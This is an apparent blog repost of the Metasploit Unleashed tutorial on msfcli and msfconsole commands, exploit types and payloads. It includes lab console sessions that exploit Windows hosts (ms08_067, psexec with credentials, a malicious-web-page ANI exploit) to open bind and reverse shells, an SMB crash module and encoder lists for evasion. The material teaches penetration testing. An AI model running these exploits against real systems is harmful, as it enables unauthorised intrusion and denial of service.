Pages

02 April 2011

Metasploit Fundamentals

There are many different interfaces to the Metasploit framework, each with their own strengths and weaknesses. As such, there is no one perfect interface to use with MSF, although the msfconsole is the only supported way to access most features of the Framework. It is still beneficial, however, to be comfortable with all the interfaces that MSF offers.
The next module will provide an overview of the various interfaces, along with some discussion where each is best utilized.


msfcli

Msfcli provides a powerful command-line interface to the framework.


Note that when using msfcli, variables are assigned using '=' and that all options are case-sensitive.
[CODE]

root@bt4:~# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.201 PAYLOAD=windows/shell/bind_tcp E
[*] Please wait while we load the module tree...

                                  _
                                 | |      o
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                           /|
                           \|


       =[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 676 exploits - 328 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r11084 updated today (2010.11.21)

RHOST => 192.168.1.201
PAYLOAD => windows/shell/bind_tcp
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 192.168.1.201
[*] Command shell session 1 opened (192.168.1.101:35009 -> 192.168.1.201:4444) at 2010-11-21 14:44:42 -0700

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
 [/CODE]

If you aren't entirely sure about what options belong to a particular module, you can append the letter 'O' to the end of the string at whichever point you are stuck.
[CODE]
root@bt4:/pentest/exploits/framework3# ./msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
[/CODE]

To display the payloads that are available for the current module, append the letter 'P' to the command-line string.
[CODE]

root@bt4:/pentest/exploits/framework3# ./msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.115 P
[*] Please wait while we load the module tree...

Compatible payloads
===================

   Name                                             Description
   ----                                             -----------
   generic/debug_trap                               Generate a debug trap in the target process
...snip...
 [/CODE]

The other options available to msfcli are available by issuing 'msfcli -h'.

Benefits of mscli

  • Supports the launching of exploits and auxiliary modules
  • Useful for specific tasks
  • Good for learning
  • Convenient to use when testing or developing a new exploit
  • Good tool for one-off exploitation
  • Excellent if you know exactly which exploit and options you need
  • Wonderful for use in scripts and basic automation

The only real drawback of msfcli is that it is not supported quite as well as msfconsole and it can only handle one shell at a time, making it rather impractical for client-side attacks. It also doesn't support any of the advanced automation features of msfconsole.



msfweb

The msfweb interface provided users with a point-and-click "Ajax-y" interface to the framework but has now been deprecated and removed from the Metasploit trunk. Although it was good for generating shellcode and performing demonstrations, it was not very stable and was not being actively developed.




msfconsole

The msfconsole is probably the most popular interface to the MSF. It provides an "all-in-one" centralized console and allows you efficient access to virtually all of the options available in the Metasploit Framework. Msfconsole may seem intimidating at first, but once you learn the syntax of the commands you will learn to appreciate the power of utilizing this interface.

The msfconsole interface will work on Windows with the 3.3 release, however users of version 3.2 will need to either manually install the Framework under Cygwin, along with patching the Ruby installation, or access the console emulator via the included web or GUI components.

Benefits of the msfconsole

  • It is the only supported way to access most of the features within Metasploit.
  • Provides a console-based interface to the framework
  • Contains the most features and is the most stable MSF interface
  • Full readline support, tabbing, and command completion
  • Execution of external commands in msfconsole is possible:
[CODE]

msf > ping -c 1 192.168.1.2
[*] exec: ping -c 1 192.168.1.2

PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data.
64 bytes from 192.168.1.2: icmp_seq=1 ttl=128 time=10.3 ms

--- 192.168.1.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 10.308/10.308/10.308/0.000 ms
msf >
 [/CODE]

Launching msfconsole

The msfconsole is launched by simply running './msfconsole' from the command line. You can pass '-h' to msfconsole to see the other usage options available to you.
[CODE]

root@bt4:~# msfconsole -h
Usage: msfconsole [options]

Specific options:
    -d                               Execute the console as defanged
    -r                     Execute the specified resource file
    -c                     Load the specified configuration file
    -m                    Specifies an additional module search path
    -y, --yaml         Specify a YAML file containing database settings
    -e       Specify the database environment to load from the YAML
        --environment
    -v, --version                    Show version
    -L, --real-readline              Use the system Readline library instead of RbReadline
    -n, --no-database                Disable database support

Common options:
    -h, --help                       Show this message

root@bt4:~# msfconsole   

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 676 exploits - 328 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r11084 updated today (2010.11.21)

msf >
 [/CODE]

Getting Help

Entering 'help' or a '?' at the msf command prompt will display a listing of available commands along with a description of what they are used for.
[CODE]

msf > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    back          Move back from the current context
    banner        Display an awesome metasploit banner
    cd            Change the current working directory
    connect       Communicate with a host
    exit          Exit the console
    help          Help menu
    info          Displays information about one or more module
    irb           Drop into irb scripting mode
    jobs          Displays and manages jobs
    load          Load a framework plugin
    loadpath      Searches for and loads modules from a path
    quit          Exit the console
    resource      Run the commands stored in a file
...snip...
 [/CODE]

Tab Completion

The msfconsole is designed to be fast to use and one of the features that helps this goal is tab completion. With the wide array of modules available, it can be difficult to remember the exact name and path of the particular module you wish to make use of. As with most other shells, entering what you know and pressing 'Tab' will present you with a list of options available to you or auto-complete the string if there is only one option. Tab completion depends on the ruby readline extension and nearly every command in the console supports tab completion.
  • use exploit/windows/dce
  • use .*netapi.*
  • set LHOST
  • show
  • set TARGET
  • set PAYLOAD windows/shell/
  • exp
[CODE]

msf > use exploit/windows/smb/ms
use exploit/windows/smb/ms03_049_netapi
use exploit/windows/smb/ms04_007_killbill
use exploit/windows/smb/ms04_011_lsass
use exploit/windows/smb/ms04_031_netdde
use exploit/windows/smb/ms05_039_pnp
use exploit/windows/smb/ms06_025_rasmans_reg
use exploit/windows/smb/ms06_025_rras
use exploit/windows/smb/ms06_040_netapi
use exploit/windows/smb/ms06_066_nwapi
use exploit/windows/smb/ms06_066_nwwks
use exploit/windows/smb/ms08_067_netapi
use exploit/windows/smb/msdns_zonename
msf > use exploit/windows/smb/ms08_067_netapi
 [/CODE]

The back Command

From Metasploit Unleashed - Mastering The Framework

Jump to: navigation, search
Once you have finished working with a particular module, or if you inadvertently select the wrong module, you can issue the 'back' command to move out of the current context. This, however is not required. Just as you can in commercial routers, you can switch modules from within other modules. As a reminder, variables will only carry over if they are set globally.
[CODE]

msf auxiliary(ms09_001_write) > back
msf >
[/CODE]


The check Command

There aren't many exploits that support it, but there is also a 'check' option that will check to see if a target is vulnerable to a particular exploit instead of actually exploiting it.
[CODE]
msf exploit(ms04_045_wins) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.1.114    yes       The target address
   RPORT  42               yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Windows 2000 English


msf exploit(ms04_045_wins) > check
[-] Check failed: The connection was refused by the remote host (192.168.1.114:42)
 [/CODE]

The connect Command

There is a miniature netcat clone built into the msfconsole that supports SSL, proxies, pivoting, and file sends. By issuing the 'connect' command with an ip address and port number, you can connect to a remote host from within msfconsole the same as you would with netcat or telnet. [CODE]

msf > connect 192.168.1.1 23
[*] Connected to 192.168.1.1:23
ÿýÿýÿý!ÿûÿû
DD-WRT v24 std (c) 2008 NewMedia-NET GmbH
Release: 07/27/08 (SVN revision: 10011)
ÿ
DD-WRT login:
[/CODE]

By passing the '-s' argument to connect, it will connect via SSL:
[CODE]

msf > connect -s www.metasploit.com 443
[*] Connected to www.metasploit.com:443
GET / HTTP/1.0

HTTP/1.1 302 Found
Date: Sat, 25 Jul 2009 05:03:42 GMT
Server: Apache/2.2.11
Location: http://www.metasploit.org/
 [/CODE]

exploit vs. run

When launching an exploit, you issue the 'exploit' command whereas if you are using an auxiliary module, the proper usage is 'run' although 'exploit' will work as well. [CODE]
msf auxiliary(ms09_001_write) > run

Attempting to crash the remote host...
datalenlow=65535 dataoffset=65535 fillersize=72
rescue
datalenlow=55535 dataoffset=65535 fillersize=72
rescue
datalenlow=45535 dataoffset=65535 fillersize=72
rescue
datalenlow=35535 dataoffset=65535 fillersize=72
rescue
datalenlow=25535 dataoffset=65535 fillersize=72
rescue
...snip...
[/CODE]


The irb Command

Running the 'irb' command will drop you into a live Ruby interpreter shell where you can issue commands and create Metasploit scripts on the fly. This feature is also very useful for understanding the internals of the Framework.
[CODE]

msf > irb
[*] Starting IRB shell...

>> puts "Hello, metasploit!"
Hello, metasploit!

>> Framework::Version
=> "3.3-dev"

>> framework.modules.keys.length
=>744

[/CODE]


The jobs Command

Jobs are modules that are running in the background. The 'jobs' command provides the ability to list and terminate these jobs.
[CODE]

msf exploit(ms08_067_netapi) > jobs -h
Usage: jobs [options]

Active job manipulation and interaction.

OPTIONS:

    -K        Terminate all running jobs.
    -h        Help banner.
    -k   Terminate the specified job name.
    -l        List all running jobs.
 [/CODE]

The load Command

The 'load' command loads a plugin from Metasploit's 'plugin' directory. Arguments are passed as 'key=val' on the shell. [CODE]

msf > load

Usage: load [var=val var=val ...]

Load a plugin from the supplied path.  The optional
var=val options are custom parameters that can be
passed to plugins.

msf > load pcap_log

[*] Successfully loaded plugin: pcap_log
 [/CODE]

"unload" Command

Conversely, the 'unload' command unloads a previously loaded plugin and removes any extended commands.
[CODE]

msf > load pcap_log
[*] Successfully loaded plugin: pcap_log

msf > unload pcap_log
Unloading plugin pcap_log...unloaded.
[/CODE]


"loadpath" Command

The 'loadpath' command will load a third-part module tree for the path so you can point Metasploit at your 0-day exploits, encoders, payloads, etc.
[CODE]

msf > loadpath /home/secret/modules

Loaded 0 modules.
[/CODE]


The resource Command

Some attacks such as Karmetasploit use a resource (batch) file that you can load through the msfconsole using the 'resource' command. These files are a basic scripting for msfconsole. It runs the commands in the file in sequence. Later on we will discuss how, outside of Karmetasploit, that can be very useful.
[CODE]

msf > resource karma.rc
resource> load db_sqlite3
[-]
[-] The functionality previously provided by this plugin has been
[-] integrated into the core command set. Use the new 'db_driver'
[-] command to use a database driver other than sqlite3 (which
[-] is now the default). All of the old commands are the same.
[-]
[-] Failed to load plugin from /pentest/exploits/framework3/plugins/db_sqlite3: Deprecated plugin
resource> db_create /root/karma.db
[*] The specified database already exists, connecting
[*] Successfully connected to the database
[*] File: /root/karma.db
resource> use auxiliary/server/browser_autopwn
resource> setg AUTOPWN_HOST 10.0.0.1
AUTOPWN_HOST => 10.0.0.1
...snip...
 [/CODE]

Batch files can greatly speed up testing and development times as well as allow the user to automate many tasks. Besides loading a batch file from within msfconsole, they can also be passed at startup using the '-r' flag. The simple example below creates a batch file to display the Metasploit version number at startup.
[CODE]

root@bt4-pre:/pentest/exploits/framework3# echo version > version.rc
root@bt4-pre:/pentest/exploits/framework3# ./msfconsole -r version.rc

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888


       =[ metasploit v3.3-rc1 [core:3.3 api:1.0]
+ -- --=[ 379 exploits - 234 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 155 aux

resource> version
Framework: 3.3-dev.6055
Console  : 3.3-dev.6476
msf >
[/CODE]


The route Command

The "route" command in Metasploit allows you to route sockets through a session or 'comm', providing basic pivoting capabilities. To add a route, you pass the target subnet and network mask followed by the session (comm) number.
[CODE]
msf exploit(ms08_067_netapi) > route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]

Route traffic destined to a given subnet through a supplied session.
The default comm is Local.
msf exploit(ms08_067_netapi) > route add 192.168.1.0 255.255.255.0 2
msf exploit(ms08_067_netapi) > route print

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.1.0        255.255.255.0      Session 2
[/CODE]



The info Command

The 'info' command will provide detailed information about a particular module including all options, targets, and other information. Be sure to always read the module description prior to using it as some may have un-desired effects.
The info command also provides the following information:
  • The author and licensing information
  • Vulnerability references (ie: CVE, BID, etc)
  • Any payload restrictions the module may have
[CODE]

msf > info dos/windows/smb/ms09_001_write

       Name: Microsoft SRV.SYS WriteAndX Invalid DataOffset
    Version: 6890
    License: Metasploit Framework License (BSD)

Provided by:
  j.v.vallejo
[/CODE]



The set/unset Commands

The 'set' command allows you to configure Framework options and parameters for the current module you are working with.
[CODE]

msf auxiliary(ms09_001_write) > set RHOST 192.168.1.1
RHOST => 192.168.1.1
msf auxiliary(ms09_001_write) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.1.1      yes       The target address
   RPORT  445              yes       Set the SMB service port
[/CODE]

A recently added feature in Metasploit is the ability to set an encoder to use at run-time. This is particularly useful in exploit development when you aren't quite certain as to which payload encoding methods will work with an exploit.
[CODE]

msf exploit(ms08_067_netapi) > show encoders

Compatible encoders
===================

   Name                       Description
   ----                       -----------
   cmd/generic_sh             Generic Shell Variable Substitution Command Encoder
   generic/none               The "none" Encoder
   mipsbe/longxor             XOR Encoder
   mipsle/longxor             XOR Encoder
   php/base64                 PHP Base64 encoder
   ppc/longxor                PPC LongXOR Encoder
   ppc/longxor_tag            PPC LongXOR Encoder
   sparc/longxor_tag          SPARC DWORD XOR Encoder
   x64/xor                    XOR Encoder
   x86/alpha_mixed            Alpha2 Alphanumeric Mixedcase Encoder
   x86/alpha_upper            Alpha2 Alphanumeric Uppercase Encoder
   x86/avoid_utf8_tolower     Avoid UTF8/tolower
   x86/call4_dword_xor        Call+4 Dword XOR Encoder
   x86/countdown              Single-byte XOR Countdown Encoder
   x86/fnstenv_mov            Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive      Polymorphic Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha               Non-Alpha Encoder
   x86/nonupper               Non-Upper Encoder
   x86/shikata_ga_nai         Polymorphic XOR Additive Feedback Encoder
   x86/unicode_mixed          Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper          Alpha2 Alphanumeric Unicode Uppercase Encoder

msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai
encoder => x86/shikata_ga_nai
[/CODE]



"unset" Command

The opposite of the 'set' command, of course, is 'unset'. 'Unset' removes a parameter previously configured with 'set'. You can remove all assigned variables with 'unset all'.
[CODE]

msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
THREADS => 50
msf > set

Global
======

  Name     Value
  ----     -----
  RHOSTS   192.168.1.0/24
  THREADS  50

msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > set

Global
======

No entries in data store.
[/CODE]


The sessions Command

The 'sessions' command allows you to list, interact with, and kill spawned sessions. The sessions can be shells, Meterpreter sessions, VNC, etc.
[CODE]

msf > sessions

Usage: sessions [options]

Active session manipulation and interaction.

OPTIONS:

    -d   Detach an interactive session
    -h        Help banner.
    -i   Interact with the supplied session identifier.
    -k   Terminate session.
    -l        List all active sessions.
    -q        Quiet mode.
    -v        List verbose fields.
[/CODE]


To list any active sessions, pass the '-l' options to 'sessions'.
[CODE]

msf exploit(3proxy) > sessions -l

Active sessions
===============

  Id  Description    Tunnel
  --  -----------    ------
  1   Command shell  192.168.1.101:33191 -> 192.168.1.104:4444
[/CODE]


To interact with a given session, you just need to use the '-i' switch followed by the Id number of the session.

[CODE]

msf exploit(3proxy) > sessions -i 1
[*] Starting interaction with 1...

C:\WINDOWS\system32>
[/CODE]



The search Command

The msfconsole includes an extensive regular-expression based search functionality. If you have a general idea of what you are looking for you can search for it via 'search '. In the output below, a search is being made for MS Bulletin MS09-011. The search function will locate this string within the module names, descriptions, references, etc.
Note the naming convention for Metasploit modules uses underscores versus hyphens.

[CODE]

msf > search ms09-001
[*] Searching loaded modules for pattern 'ms09-001'...

Auxiliary
=========

   Name                            Description
   ----                            -----------
   dos/windows/smb/ms09_001_write  Microsoft SRV.SYS WriteAndX Invalid DataOffset
[/CODE]



The show Command

Entering 'show' at the msfconsole prompt will display every module within Metasploit.
[CODE]
msf > show

Encoders
========

   Name                       Description
   ----                       -----------
   cmd/generic_sh             Generic Shell Variable Substitution Command Encoder
   generic/none               The "none" Encoder
   mipsbe/longxor             XOR Encoder
...snip...
[/CODE]

There are a number of 'show' commands you can use but the ones you will use most frequently are 'show auxiliary', 'show exploits', 'show payloads', 'show encoders', and 'show nops'. Executing 'show auxiliary' will display a listing of all of the available auxiliary modules within Metasploit. As mentioned earlier, auxiliary modules include scanners, denial of service modules, fuzzers, and more.
[CODE]

msf > show auxiliary

Auxiliary
=========
    Name                                         Description
    ----                                         -----------
    admin/backupexec/dump                        Veritas Backup Exec Windows Remote File Access
    admin/backupexec/registry                    Veritas Backup Exec Server Registry Access
    admin/cisco/ios_http_auth_bypass             Cisco IOS HTTP Unauthorized Administrative Access
...snip...
[/CODE]

Naturally, 'show exploits' will be the command you are most interested in running since at its core, Metasploit is all about exploitation. Run 'show exploits' to get a listing of all exploits contained in the framework.

[CODE]

msf > show exploits

Exploits
========
    Name                                          Description
    ----                                          -----------
    aix/rpc_ttdbserverd_realpath                  ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow
    bsdi/softcart/mercantec_softcart              Mercantec SoftCart CGI Overflow

...snip...
[/CODE]

Running 'show payloads' will display all of the different payloads for all platforms available within Metasploit.
[CODE]

msf > show payloads

Payloads
========
    Name                                  Description
    ----                                  -----------
    aix/ppc/shell_bind_tcp                AIX Command Shell, Bind TCP Inline
    aix/ppc/shell_find_port               AIX Command Shell, Find Port Inline
    aix/ppc/shell_reverse_tcp             AIX Command Shell, Reverse TCP Inline
...snip...
[/CODE]

As you can see, there are a lot of payloads available. Fortunately, when you are in the context of a particular exploit, running 'show payloads' will only display the payloads that are compatible with that particular exploit. For instance, if it is a Windows exploit, you will not be shown the Linux payloads.
[CODE]
msf exploit(ms08_067_netapi) > show payloads

Compatible payloads
===================

   Name                                             Description
   ----                                             -----------
   generic/debug_trap                               Generic x86 Debug Trap
   generic/debug_trap/bind_ipv6_tcp                 Generic x86 Debug Trap, Bind TCP Stager (IPv6)
   generic/debug_trap/bind_nonx_tcp                 Generic x86 Debug Trap, Bind TCP Stager (No NX or Win7)
...snip...
[/CODE]

If you have selected a specific module, you can issue the 'show options' command to display which settings are available and/or required for that specific module.
[CODE]
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting
[/CODE]

If you aren't certain whether an operating system is vulnerable to a particular exploit, run the 'show targets' command from within the context of an exploit module to see which targets are supported.

[CODE]
msf exploit(ms08_067_netapi) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows XP SP2 English (NX)
   4   Windows XP SP3 English (NX)
   5   Windows 2003 SP0 Universal
...snip...
[/CODE]

If you wish the further fine-tune an exploit, you can see more advanced options by running 'show advanced'. 

[CODE]
msf exploit(ms08_067_netapi) > show advanced

Module advanced options:

   Name           : CHOST
   Current Setting:
   Description    : The local client address

   Name           : CPORT
   Current Setting:
   Description    : The local client port

...snip...
[/CODE]

Running 'show encoders' will display a listing of the encoders that are available within MSF. 



[CODE]
msf > show encoders

Encoders
========

   Name                       Description
   ----                       -----------
   cmd/generic_sh             Generic Shell Variable Substitution Command Encoder
   generic/none               The "none" Encoder
   mipsbe/longxor             XOR Encoder
   mipsle/longxor             XOR Encoder
   php/base64                 PHP Base64 encoder
   ppc/longxor                PPC LongXOR Encoder
   ppc/longxor_tag            PPC LongXOR Encoder
   sparc/longxor_tag          SPARC DWORD XOR Encoder
   x64/xor                    XOR Encoder
   x86/alpha_mixed            Alpha2 Alphanumeric Mixedcase Encoder
   x86/alpha_upper            Alpha2 Alphanumeric Uppercase Encoder
   x86/avoid_utf8_tolower     Avoid UTF8/tolower
   x86/call4_dword_xor        Call+4 Dword XOR Encoder
   x86/countdown              Single-byte XOR Countdown Encoder
   x86/fnstenv_mov            Variable-length Fnstenv/mov Dword XOR Encoder
   x86/jmp_call_additive      Jump/Call XOR Additive Feedback Encoder
   x86/nonalpha               Non-Alpha Encoder
   x86/nonupper               Non-Upper Encoder
   x86/shikata_ga_nai         Polymorphic XOR Additive Feedback Encoder
   x86/unicode_mixed          Alpha2 Alphanumeric Unicode Mixedcase Encoder
   x86/unicode_upper          Alpha2 Alphanumeric Unicode Uppercase Encoder

[/CODE]

Lastly, issuing the 'show nops' command will display the NOP Generators that Metasploit has to offer.
[CODE]
msf > show nops

NOP Generators
==============

   Name                       Description
   ----                       -----------
   armle/simple               Simple
   php/generic                PHP Nop Generator
   ppc/simple                 Simple
   sparc/random               SPARC NOP generator
   tty/generic                TTY Nop Generator
   x64/simple                 Simple
   x86/opty2                  Opty2
   x86/single_byte            Single Byte
[/CODE]

The setg Command

In order to save a lot of typing during a pentest, you can set global variables within msfconsole. You can do this with the 'setg' command. Once these have been set, you can use them in as many exploits and auxiliary modules as you like. You can also save them for use the next time your start msfconsole. However, the pitfall is forgetting you have saved globals, so always check your options before you "run" or "exploit". Conversely, you can use the "unsetg" command to unset a global variable. In the examples that follow, variables are entered in all-caps (ie: LHOST), but Metasploit is case-insensitive so it is not necessary to do so. [CODE]
msf > setg LHOST 192.168.1.101
LHOST => 192.168.1.101
msf > setg RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > setg RHOST 192.168.1.136
RHOST => 192.168.1.136
[/CODE]

After setting your different variables, you can run the 'save' command to save your current environment and settings. With your settings saved, they will be automatically loaded on startup which saves you from having to set everything again.
[CODE]
msf > save
Saved configuration to: /root/.msf3/config
msf >
[/CODE]

The use Command

When you have decided on a particular module to make use of, issue the 'use' command to select it. The 'use' command changes your context to a specific module, exposing type-specific commands. Notice in the output below that any global variables that were previously set are already configured.
[CODE]
msf > use dos/windows/smb/ms09_001_write
msf auxiliary(ms09_001_write) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  445              yes       Set the SMB service port

msf auxiliary(ms09_001_write) >
[/CODE]


Metasploit Exploits

All exploits in the Metasploit Framework will fall into two categories: active and passive.

Active Exploits

Active exploits will exploit a specific host, run until completion, and then exit.
  • Brute-force modules will exit when a shell opens from the victim.
  • Module execution stops if an error is encountered.
  • You can force an active module to the background by passing '-j' to the exploit command:
[CODE]
msf exploit(ms08_067_netapi) > exploit -j
[*] Exploit running as background job.
msf exploit(ms08_067_netapi) >
[/CODE]

Active Exploit Example

The following example makes use of a previously acquired set of credentials to exploit and gain a reverse shell on the target system.
[CODE]

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.104
RHOST => 192.168.1.104
msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(psexec) > set LPORT 4444
LPORT => 4444
msf exploit(psexec) > set SMBUSER victim
SMBUSER => victim
msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS => s3cr3t
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'victim'...
[*] Uploading payload...
[*] Created \hikmEeEM.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.104[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.104[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \hikmEeEM.exe...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.101:4444 -> 192.168.1.104:1073)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
[/CODE]

Passive Exploits

Passive exploits wait for incoming hosts and exploit them as they connect.
  • Passive exploits almost always focus on clients such as web browsers, FTP clients, etc.
  • They can also be used in conjunction with email exploits, waiting for connections.
  • Passive exploits report shells as they happen can be enumerated by passing '-l' to the sessions command. Passing '-i' will interact with a shell.
[CODE]
msf exploit(ani_loadimage_chunksize) > sessions -l

Active sessions
===============

  Id  Description  Tunnel
  --  -----------  ------
  1   Meterpreter  192.168.1.101:52647 -> 192.168.1.104:4444

msf exploit(ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >
[/CODE]

Passive Exploit Example

The following output shows the setup to exploit the animated cursor vulnerability. The exploit does not fire until a victim browses to our malicious website. [CODE]
msf > use exploit/windows/browser/ani_loadimage_chunksize
msf exploit(ani_loadimage_chunksize) > set URIPATH /
URIPATH => /
msf exploit(ani_loadimage_chunksize) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ani_loadimage_chunksize) > set LHOST 192.168.1.101
LHOST => 192.168.1.101
msf exploit(ani_loadimage_chunksize) > set LPORT 4444
LPORT => 4444
msf exploit(ani_loadimage_chunksize) > exploit
[*] Exploit running as background job.

[*] Started reverse handler
[*] Using URL: http://0.0.0.0:8080/
[*]  Local IP: http://192.168.1.101:8080/
[*] Server started.
msf exploit(ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to 192.168.1.104:1077...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to 192.168.1.104:1077...
[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (192.168.1.101:4444 -> 192.168.1.104:1078)

msf exploit(ani_loadimage_chunksize) > sessions -i 2
[*] Starting interaction with 2...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\victim\Desktop>
[/CODE]

Using Exploits

Selecting an exploit in Metasploit adds the 'exploit' and 'check' commands to msfconsole.

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > help
...snip...
Exploit Commands
================

    Command       Description
    -------       -----------
    check         Check to see if a target is vulnerable
    exploit       Launch an exploit attempt
    rcheck        Reloads the module and checks if the target is vulnerable
    rexploit      Reloads the module and launches an exploit attempt

msf exploit(ms08_067_netapi) >

Using an exploit also adds more options to the 'show' command. 

msf exploit(ms03_026_dcom) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows NT SP3-6a/2000/XP/2003 Universal
msf exploit(ms03_026_dcom) > show payloads

Compatible payloads
===================

   Name                                             Description
   ----                                             -----------
   generic/debug_trap                               Generic x86 Debug Trap
...snip...

msf exploit(ms03_026_dcom) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.1.120    yes       The target address
   RPORT  135              yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Windows NT SP3-6a/2000/XP/2003 Universal
msf exploit(ms03_026_dcom) > show advanced

Module advanced options:

   Name           : CHOST
   Current Setting:
   Description    : The local client address

   Name           : CPORT
   Current Setting:
   Description    : The local client port
...snip...

msf exploit(ms03_026_dcom) > show evasion

Module evasion options:

   Name           : DCERPC::fake_bind_multi
   Current Setting: true
   Description    : Use multi-context bind calls
...snip...


Metasploit Payloads

There are three different types of payload module types in Metasploit: Singles, Stagers, and Stages. These different types allow for a great deal of versatility and can be useful across numerous types of scenarios. Whether or not a payload is staged, is represented by '/' in the payload name. For example, "windows/shell_bind_tcp" is a single payload, with no stage whereas "windows/shell/bind_tcp" consists of a stager (bind_tcp) and a stage (shell).

Singles

Singles are payloads that are self-contained and completely standalone. A Single payload can be something as simple as adding a user to the target system or running calc.exe.

Stagers

Stagers setup a network connection between the attacker and victim and are designed to be small and reliable. It is difficult to always do both of these well so the result is multiple similar stagers. Metasploit will use the best one when it can and fall back to a less-preferred one when necessary.
Windows NX vs NO-NX Stagers
  • Reliability issue for NX CPUs and DEP
  • NX stagers are bigger (VirtualAlloc)
  • Default is now NX + Win7 compatible


Stages

Stages are payload components that are downloaded by Stagers modules. The various payload stages provide advanced features with no size limits such as Meterpreter, VNC Injection, and the iPhone 'ipwn' Shell.
Payload stages automatically use 'middle stagers'
  • A single recv() fails with large payloads
  • The stager receives the middle stager
  • The middle stager then performs a full download
  • Also better for RWX

Payload Types

